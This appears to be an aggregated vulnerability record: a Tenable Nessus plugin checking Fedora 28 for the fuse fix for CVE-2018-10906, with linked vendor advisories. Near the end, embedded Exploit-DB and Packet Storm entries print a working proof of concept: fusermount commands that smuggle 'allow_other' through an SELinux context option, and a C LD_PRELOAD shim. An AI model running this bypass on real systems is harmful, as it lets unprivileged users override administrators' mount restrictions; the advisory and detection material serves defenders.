ID FEDORA_2019-FD54B80806.NASL Type nessus Reporter This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof. Modified 2021-01-02T00:00:00
Description
Update fuse to 2.9.9, fuse3 to 3.4.2. Also fixes CVE-2018-10906, and
adds missing fusermount.1 man page.
Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora update system website.
Tenable has attempted to automatically clean and format it as much as
possible without introducing additional issues.
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from Fedora Security Advisory FEDORA-2019-fd54b80806.
#
include("compat.inc");
if (description)
{
script_id(123767);
script_version("1.3");
script_cvs_date("Date: 2019/09/23 11:21:12");
script_cve_id("CVE-2018-10906");
script_xref(name:"FEDORA", value:"2019-fd54b80806");
script_name(english:"Fedora 28 : fuse (2019-fd54b80806)");
script_summary(english:"Checks rpm output for the updated package.");
script_set_attribute(
attribute:"synopsis",
value:"The remote Fedora host is missing a security update."
);
script_set_attribute(
attribute:"description",
value:
"Update fuse to 2.9.9, fuse3 to 3.4.2. Also fixes CVE-2018-10906, and
adds missing fusermount.1 man page.
Note that Tenable Network Security has extracted the preceding
description block directly from the Fedora update system website.
Tenable has attempted to automatically clean and format it as much as
possible without introducing additional issues."
);
script_set_attribute(
attribute:"see_also",
value:"https://bodhi.fedoraproject.org/updates/FEDORA-2019-fd54b80806"
);
script_set_attribute(attribute:"solution", value:"Update the affected fuse package.");
script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_type", value:"local");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:fedoraproject:fedora:fuse");
script_set_attribute(attribute:"cpe", value:"cpe:/o:fedoraproject:fedora:28");
script_set_attribute(attribute:"vuln_publication_date", value:"2018/07/24");
script_set_attribute(attribute:"patch_publication_date", value:"2019/04/05");
script_set_attribute(attribute:"plugin_publication_date", value:"2019/04/05");
script_set_attribute(attribute:"generated_plugin", value:"current");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"Fedora Local Security Checks");
script_dependencies("ssh_get_info.nasl");
script_require_keys("Host/local_checks_enabled", "Host/RedHat/release", "Host/RedHat/rpm-list");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("rpm.inc");
if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/RedHat/release");
if (isnull(release) || "Fedora" >!< release) audit(AUDIT_OS_NOT, "Fedora");
os_ver = pregmatch(pattern: "Fedora.*release ([0-9]+)", string:release);
if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Fedora");
os_ver = os_ver[1];
if (! preg(pattern:"^28([^0-9]|$)", string:os_ver)) audit(AUDIT_OS_NOT, "Fedora 28", "Fedora " + os_ver);
if (!get_kb_item("Host/RedHat/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
cpu = get_kb_item("Host/cpu");
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ("x86_64" >!< cpu && cpu !~ "^i[3-6]86$") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, "Fedora", cpu);
flag = 0;
if (rpm_check(release:"FC28", reference:"fuse-2.9.9-1.fc28")) flag++;
if (flag)
{
security_report_v4(
port : 0,
severity : SECURITY_WARNING,
extra : rpm_report_get()
);
exit(0);
}
else
{
tested = pkg_tests_get();
if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
else audit(AUDIT_PACKAGE_NOT_INSTALLED, "fuse");
}
{"id": "FEDORA_2019-FD54B80806.NASL", "bulletinFamily": "scanner", "title": "Fedora 28 : fuse (2019-fd54b80806)", "description": "Update fuse to 2.9.9, fuse3 to 3.4.2. Also fixes CVE-2018-10906, and\nadds missing fusermount.1 man page.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "published": "2019-04-05T00:00:00", "modified": "2021-01-02T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://www.tenable.com/plugins/nessus/123767", "reporter": "This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.", "references": ["https://bodhi.fedoraproject.org/updates/FEDORA-2019-fd54b80806"], "cvelist": ["CVE-2018-10906"], "type": "nessus", "lastseen": "2021-01-01T02:28:22", "edition": 16, "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-10906"]}, {"type": "oraclelinux", "idList": ["ELSA-2020-5773"]}, {"type": "amazon", "idList": ["ALAS2-2018-1123", "ALAS-2018-1123"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562311220191442", "OPENVAS:1361412562311220191186", "OPENVAS:1361412562310876002", "OPENVAS:1361412562311220191003", "OPENVAS:1361412562311220181409", "OPENVAS:1361412562311220191382", "OPENVAS:1361412562310891468", "OPENVAS:1361412562310704257", "OPENVAS:1361412562310851945", "OPENVAS:1361412562310851958"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2018:3326-1", "OPENSUSE-SU-2018:3325-1"]}, {"type": "redhat", "idList": ["RHSA-2018:3324"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4257-1:6DB9C", "DEBIAN:DLA-1468-1:217D5"]}, {"type": "zdt", "idList": ["1337DAY-ID-30799"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:148749"]}, {"type": "exploitdb", "idList": ["EDB-ID:45106"]}, {"type": "fedora", "idList": ["FEDORA:68CB560748F6", "FEDORA:DB484605D599", "FEDORA:A91846077DCA"]}, {"type": "centos", "idList": ["CESA-2018:3324"]}, {"type": "nessus", "idList": ["OPENSUSE-2018-1228.NASL", "PHOTONOS_PHSA-2019-2_0-0177_FUSE.NASL", "NEWSTART_CGSL_NS-SA-2019-0073_FUSE.NASL", "SUSE_SU-2018-3219-1.NASL", "DEBIAN_DSA-4257.NASL", "OPENSUSE-2018-1225.NASL", "SL_20181030_FUSE_ON_SL7_X.NASL", "SUSE_SU-2018-3260-1.NASL", "SUSE_SU-2019-13948-1.NASL", "EULEROS_SA-2019-1442.NASL"]}], "modified": "2021-01-01T02:28:22", "rev": 2}, "score": {"value": 8.2, "vector": "NONE", "modified": "2021-01-01T02:28:22", "rev": 2}, "vulnersScore": 8.2}, "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2019-fd54b80806.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(123767);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/09/23 11:21:12\");\n\n script_cve_id(\"CVE-2018-10906\");\n script_xref(name:\"FEDORA\", value:\"2019-fd54b80806\");\n\n script_name(english:\"Fedora 28 : fuse (2019-fd54b80806)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Update fuse to 2.9.9, fuse3 to 3.4.2. Also fixes CVE-2018-10906, and\nadds missing fusermount.1 man page.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2019-fd54b80806\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected fuse package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:fuse\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:28\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/07/24\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/04/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/04/05\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^28([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 28\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC28\", reference:\"fuse-2.9.9-1.fc28\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"fuse\");\n}\n", "naslFamily": "Fedora Local Security Checks", "pluginID": "123767", "cpe": ["p-cpe:/a:fedoraproject:fedora:fuse", "cpe:/o:fedoraproject:fedora:28"], "scheme": null, "cvss3": {"score": 7.8, "vector": "AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}}
{"cve": [{"lastseen": "2020-12-09T20:25:31", "description": "In fuse before versions 2.9.8 and 3.x before 3.2.5, fusermount is vulnerable to a restriction bypass when SELinux is active. This allows non-root users to mount a FUSE file system with the 'allow_other' mount option regardless of whether 'user_allow_other' is set in the fuse configuration. An attacker may use this flaw to mount a FUSE file system, accessible by other users, and trick them into accessing files on that file system, possibly causing Denial of Service or other unspecified effects.", "edition": 7, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-07-24T20:29:00", "title": "CVE-2018-10906", "type": "cve", "cwe": ["CWE-269"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-10906"], "modified": "2019-10-03T00:03:00", "cpe": ["cpe:/o:debian:debian_linux:8.0", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/o:redhat:enterprise_linux_workstation:7.0", "cpe:/o:redhat:enterprise_linux_desktop:7.0", "cpe:/o:debian:debian_linux:9.0"], "id": "CVE-2018-10906", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-10906", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*"]}], "oraclelinux": [{"lastseen": "2020-07-27T17:27:50", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "[2.9.4-1.0.7.el7]\n- \\n- bump release number to 2.9.4-1.0.7 (Lans Hung) \\n- fix missing Patch1,\n Patch2, Patch3 declaration in spec file after using\n%setup -q\n/usr/bin/cat /usr/src/redhat/SOURCES/fuse-0001-fix-int64_t-conflict-on-aarch64.patch |\n/usr/bin/patch -p1 -s\n/usr/bin/cat /usr/src/redhat/SOURCES/fuse-0002-fusermount-refuse-unknown-options.patch |\n/usr/bin/patch -p1 -s\n/usr/bin/cat /usr/src/redhat/SOURCES/fuse-0003-fusermount-don-t-feed-escaped-commas-into-mount-opti.patch |\n/usr/bin/patch -p1 -s\n[2.9.4-1.0.6.el7]\n- Reviewed-by: Laurence Rochfort \n (Lans Hung) \n- add signed-off-by (Lans Hung) \n- Security Update based on ELSA-2018-3324 fuse: bypass of the 'user_allow_other' restriction when SELinux is active. [OraBugzilla: 43547][CVE-2018-10906] (Lans Hung)\n[2.9.4-1.0.5.el7]\n- update to 2.9.4-1.0.5.el7 (lans.hung@oracle.com) \n- update changelog in .spec file (lans.hung@oracle.com) \n- move patch to buildrpm/ to fix build failure (lans.hung@oracle.com) \n- Fix int64_t & uint64_t conflict issue on aarch64. This issue doesn't happen in x86_64 because its bits/sigcontext.h does not include asm/sigcontext.h, which it does on arm64, causing the __s64 definition conflict. This fix uses linux/types.h over manually defined int*_t and uint*_t in fuse_kernel.h. (Lans Hung) [Orabug: 27889694]", "edition": 1, "modified": "2020-07-27T00:00:00", "published": "2020-07-27T00:00:00", "id": "ELSA-2020-5773", "href": "http://linux.oracle.com/errata/ELSA-2020-5773.html", "title": "fuse security update", "type": "oraclelinux", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "amazon": [{"lastseen": "2020-11-10T12:37:31", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "**Issue Overview:**\n\nA vulnerability was discovered in fuse. When SELinux is active, fusermount is vulnerable to a restriction bypass. This allows non-root users to mount a FUSE file system with the 'allow_other' mount option regardless of whether 'user_allow_other' is set in the fuse configuration. An attacker may use this flaw to mount a FUSE file system, accessible by other users, and trick them into accessing files on that file system, possibly causing Denial of Service or other unspecified effects. ([CVE-2018-10906 __](<https://access.redhat.com/security/cve/CVE-2018-10906>))\n\n \n**Affected Packages:** \n\n\nfuse\n\n \n**Issue Correction:** \nRun _yum update fuse_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n fuse-libs-2.9.4-1.18.amzn1.i686 \n fuse-debuginfo-2.9.4-1.18.amzn1.i686 \n fuse-devel-2.9.4-1.18.amzn1.i686 \n fuse-2.9.4-1.18.amzn1.i686 \n \n src: \n fuse-2.9.4-1.18.amzn1.src \n \n x86_64: \n fuse-devel-2.9.4-1.18.amzn1.x86_64 \n fuse-libs-2.9.4-1.18.amzn1.x86_64 \n fuse-debuginfo-2.9.4-1.18.amzn1.x86_64 \n fuse-2.9.4-1.18.amzn1.x86_64 \n \n \n", "edition": 5, "modified": "2019-04-17T18:45:00", "published": "2019-04-17T18:45:00", "id": "ALAS-2018-1123", "href": "https://alas.aws.amazon.com/ALAS-2018-1123.html", "title": "Medium: fuse", "type": "amazon", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-11-10T12:36:28", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "**Issue Overview:**\n\nA vulnerability was discovered in fuse. When SELinux is active, fusermount is vulnerable to a restriction bypass. This allows non-root users to mount a FUSE file system with the 'allow_other' mount option regardless of whether 'user_allow_other' is set in the fuse configuration. An attacker may use this flaw to mount a FUSE file system, accessible by other users, and trick them into accessing files on that file system, possibly causing Denial of Service or other unspecified effects.([CVE-2018-10906 __](<https://access.redhat.com/security/cve/CVE-2018-10906>))\n\n \n**Affected Packages:** \n\n\nfuse\n\n \n**Issue Correction:** \nRun _yum update fuse_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n fuse-2.9.2-11.amzn2.aarch64 \n fuse-libs-2.9.2-11.amzn2.aarch64 \n fuse-devel-2.9.2-11.amzn2.aarch64 \n fuse-debuginfo-2.9.2-11.amzn2.aarch64 \n \n i686: \n fuse-2.9.2-11.amzn2.i686 \n fuse-libs-2.9.2-11.amzn2.i686 \n fuse-devel-2.9.2-11.amzn2.i686 \n fuse-debuginfo-2.9.2-11.amzn2.i686 \n \n src: \n fuse-2.9.2-11.amzn2.src \n \n x86_64: \n fuse-2.9.2-11.amzn2.x86_64 \n fuse-libs-2.9.2-11.amzn2.x86_64 \n fuse-devel-2.9.2-11.amzn2.x86_64 \n fuse-debuginfo-2.9.2-11.amzn2.x86_64 \n \n \n", "edition": 1, "modified": "2018-12-06T20:29:00", "published": "2018-12-06T20:29:00", "id": "ALAS2-2018-1123", "href": "https://alas.aws.amazon.com/AL2/ALAS-2018-1123.html", "title": "Medium: fuse", "type": "amazon", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2019-08-13T18:46:42", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "The fuse packages contain the File System in Userspace (FUSE) tools to mount a FUSE file system. With FUSE, it is possible to implement a fully functional file system in a user-space program.\n\nSecurity Fix(es):\n\n* fuse: bypass of the \"user_allow_other\" restriction when SELinux is active (CVE-2018-10906)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat Enterprise Linux 7.6 Release Notes linked from the References section.", "modified": "2018-10-30T09:21:07", "published": "2018-10-30T08:43:18", "id": "RHSA-2018:3324", "href": "https://access.redhat.com/errata/RHSA-2018:3324", "type": "redhat", "title": "(RHSA-2018:3324) Moderate: fuse security update", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2018-07-30T19:32:28", "description": "fusermount - user_allow_other Restriction Bypass and SELinux Label Control. CVE-2018-10906. Dos exploit for Linux platform", "published": "2018-07-30T00:00:00", "type": "exploitdb", "title": "fusermount - user_allow_other Restriction Bypass and SELinux Label Control", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-10906"], "modified": "2018-07-30T00:00:00", "id": "EDB-ID:45106", "href": "https://www.exploit-db.com/exploits/45106/", "sourceData": "/*\r\nIt is possible to bypass fusermount's restrictions on the use of the\r\n\"allow_other\" mount option as follows if SELinux is active.\r\n\r\nHere's a minimal demo, tested on a Debian system with SELinux enabled in\r\npermissive mode:\r\n\r\n===============================================\r\nuuser@debian:~$ mount|grep /mount\r\nuser@debian:~$ grep user_allow_other /etc/fuse.conf \r\n#user_allow_other\r\nuser@debian:~$ _FUSE_COMMFD=10000 fusermount -o allow_other mount/\r\nfusermount: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf\r\nuser@debian:~$ _FUSE_COMMFD=10000 fusermount -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-\\,allow_other' mount\r\nsending file descriptor: Bad file descriptor\r\nuser@debian:~$ mount|grep /mount\r\n/dev/fuse on /home/user/mount type fuse (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)\r\n===============================================\r\n\r\nHere's a demo that actually mounts a real FUSE filesystem with allow_other,\r\nagain on a Debian system configured to use SELinux:\r\n===============================================\r\nuser@debian:~$ cat fuse-shim.c\r\n*/\r\n\r\n#define _GNU_SOURCE\r\n#include <unistd.h>\r\n#include <dlfcn.h>\r\n#include <stdlib.h>\r\nint execv(const char *path, char *const argv_[]) {\r\n char **argv = (void*)argv_; /* cast away const */\r\n for (char **argvp = argv; *argvp != NULL; argvp++) {\r\n char *arg = *argvp;\r\n for (char *p = arg; *p; p++) {\r\n if (*p == '#') *p = '\\\\';\r\n }\r\n }\r\n int (*execv_real)(const char *, char *const argv[]) = dlsym(RTLD_NEXT, \"execv\");\r\n execv_real(path, argv_);\r\n}\r\n\r\n/*\r\nuser@debian:~$ gcc -shared -o fuse-shim.so fuse-shim.c -ldl\r\nuser@debian:~$ echo hello world > hello.txt\r\nuser@debian:~$ zip hello.zip hello.txt\r\n adding: hello.txt (stored 0%)\r\nuser@debian:~$ LD_PRELOAD=./fuse-shim.so fuse-zip -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-#,allow_other' hello.zip mount\r\nuser@debian:~$ mount|grep /mount\r\nfuse-zip on /home/user/mount type fuse.fuse-zip (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other)\r\nuser@debian:~$ sudo bash\r\nroot@debian:/home/user# ls -laZ mount\r\ntotal 5\r\ndrwxrwxr-x. 3 root root system_u:object_r:fusefs_t:s0-s0:c0 0 Jul 18 02:19 .\r\ndrwxr-xr-x. 30 user user system_u:object_r:unlabeled_t:s0 4096 Jul 18 02:19 ..\r\n-rw-r--r--. 1 user user system_u:object_r:fusefs_t:s0-s0:c0 12 Jul 18 02:19 hello.txt\r\nroot@debian:/home/user# cat mount/hello.txt\r\nhello world\r\n===============================================\r\n\r\n\r\nI have tested that this also works on Fedora (which, unlike Debian, has SELinux\r\nenabled by default.)\r\n\r\n\r\nUnfortunately, I only noticed that this was possible after I publicly sent some\r\nfusermount hardening patches (https://github.com/libfuse/libfuse/pull/268),\r\nwhen the maintainer asked a question about one of the patches.\r\n\r\n\r\nBreaking down the attack, the problems are:\r\n\r\n1. fusermount's do_mount() is written as if backslashes escape commas in mount\r\n options; however, this is only true for the \"fsname\" and \"subtype\"\r\n pseudo-options filtered out by do_mount(). Neither SELinux nor the FUSE\r\n filesystem follow those semantics. This means that an attacker can smuggle\r\n a forbidden option through fusermount's checks if the previous option ends\r\n with a backslash. However, no option accepted by the FUSE filesystem can end\r\n with a backslash, so this seemed unexploitable at first.\r\n This is fixed by the following commit in my pull request:\r\n https://github.com/libfuse/libfuse/pull/268/commits/455e73588357\r\n2. fusermount uses a blacklist, not a whitelist; this blacklist does not contain\r\n the mount options understood by the SELinux and Smack LSMs. LSMs have the\r\n opportunity to grab mount options and make them invisible to the actual\r\n filesystem through the security_sb_copy_data() security hook.\r\n For this attack, I'm using the \"context\" option.\r\n This is fixed by the following commit in my pull request:\r\n https://github.com/libfuse/libfuse/pull/268/commits/d23efabfcee4\r\n3. The SELinux LSM is slightly lax about parsing the level component of SELinux\r\n context strings when the policy uses Multi-Level Security (MLS).\r\n When using MLS, the format of a context string is\r\n \"<user>:<role>:<type>:<level>\"; the level component is parsed by\r\n mls_context_to_sid(). The level component is supposed to specify a\r\n sensitivity range (one or two parts delimited with '-'); each part of the\r\n range may be followed by ':' and a category set specification.\r\n If the sensitivity range consists of two parts and the second part of the\r\n range is followed by a category set, the function incorrectly marks a\r\n trailing '-' and any following data until ':' or '\\0' as consumed, but does\r\n not actually parse this data. This allows an attacker to smuggle a backslash\r\n through.\r\n*/", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/45106/"}], "debian": [{"lastseen": "2020-08-12T01:07:00", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "Package : fuse\nVersion : 2.9.3-15+deb8u3\nCVE ID : CVE-2018-10906\n\n\nCVE-2018-10906\n This is a fix for a restriction bypass of the "allow_other" option\n when SELinux is active.\n\n\nFor Debian 8 "Jessie", this problem has been fixed in version\n2.9.3-15+deb8u3.\n\nWe recommend that you upgrade your fuse packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 8, "modified": "2018-08-15T20:45:40", "published": "2018-08-15T20:45:40", "id": "DEBIAN:DLA-1468-1:217D5", "href": "https://lists.debian.org/debian-lts-announce/2018/debian-lts-announce-201808/msg00015.html", "title": "[SECURITY] [DLA 1468-1] fuse security update", "type": "debian", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-08-12T13:07:42", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10906"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4257-1 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nJuly 28, 2018 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : fuse\nCVE ID : CVE-2018-10906\nDebian Bug : 904439\n\nJann Horn discovered that FUSE, a Filesystem in USErspace, allows the\nbypass of the 'user_allow_other' restriction when SELinux is active\n(including in permissive mode). A local user can take advantage of this\nflaw in the fusermount utility to bypass the system configuration and\nmount a FUSE filesystem with the 'allow_other' mount option.\n\nFor the stable distribution (stretch), this problem has been fixed in\nversion 2.9.7-1+deb9u1.\n\nWe recommend that you upgrade your fuse packages.\n\nFor the detailed security status of fuse please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/fuse\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 13, "modified": "2018-07-28T14:22:04", "published": "2018-07-28T14:22:04", "id": "DEBIAN:DSA-4257-1:6DB9C", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2018/msg00186.html", "title": "[SECURITY] [DSA 4257-1] fuse security update", "type": "debian", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2018-07-31T18:00:47", "description": "", "published": "2018-07-30T00:00:00", "type": "packetstorm", "title": "fusermount Restriction Bypass", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-10906"], "modified": "2018-07-30T00:00:00", "id": "PACKETSTORM:148749", "href": "https://packetstormsecurity.com/files/148749/fusermount-Restriction-Bypass.html", "sourceData": "`fusermount user_allow_other restriction bypass and SELinux label control \n \nCVE-2018-10906 \n \n \nIt is possible to bypass fusermount's restrictions on the use of the \n\"allow_other\" mount option as follows if SELinux is active. \n \nHere's a minimal demo, tested on a Debian system with SELinux enabled in \npermissive mode: \n \n=============================================== \nuuser@debian:~$ mount|grep /mount \nuser@debian:~$ grep user_allow_other /etc/fuse.conf \n#user_allow_other \nuser@debian:~$ _FUSE_COMMFD=10000 fusermount -o allow_other mount/ \nfusermount: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf \nuser@debian:~$ _FUSE_COMMFD=10000 fusermount -o 'context=system_u:object_r:fusefs_t:s0-s0:c0-\\,allow_other' mount \nsending file descriptor: Bad file descriptor \nuser@debian:~$ mount|grep /mount \n/dev/fuse on /home/user/mount type fuse (rw,nosuid,nodev,relatime,context=system_u:object_r:fusefs_t:s0-s0:c0,user_id=1000,group_id=1000,allow_other) \n=============================================== \n \nHere's a demo that actually mounts a real FUSE filesystem with allow_other, \nagain on a Debian system configured to use SELinux: \n=============================================== \nuser@debian:~$ cat fuse-shim.c \n#define _GNU_SOURCE \n#include <unistd.h> \n#include <dlfcn.h> \n#include <stdlib.h> \nint execv(const char *path, char *const argv_[]) { \nchar **argv = (void*)argv_; /* cast away const */ \nfor (char **argvp = argv; *argvp != NULL; argvp++) { \nchar *arg = *argvp; \nfor (char *p = arg; *p; p++) { \nif (*p == '#') *p = '\\\\'; \n} \n} \nint (*execv_real)(const char *, char *const argv[]) = dlsym(RTLD_NEXT, \"execv\"); \nexecv_real(path, argv_); \n} \nuser@debian:~$ gcc -shared -o fuse-shim.so fuse-shim.c -ldl \nuser@debian:~$ echo hello world > hello.txt 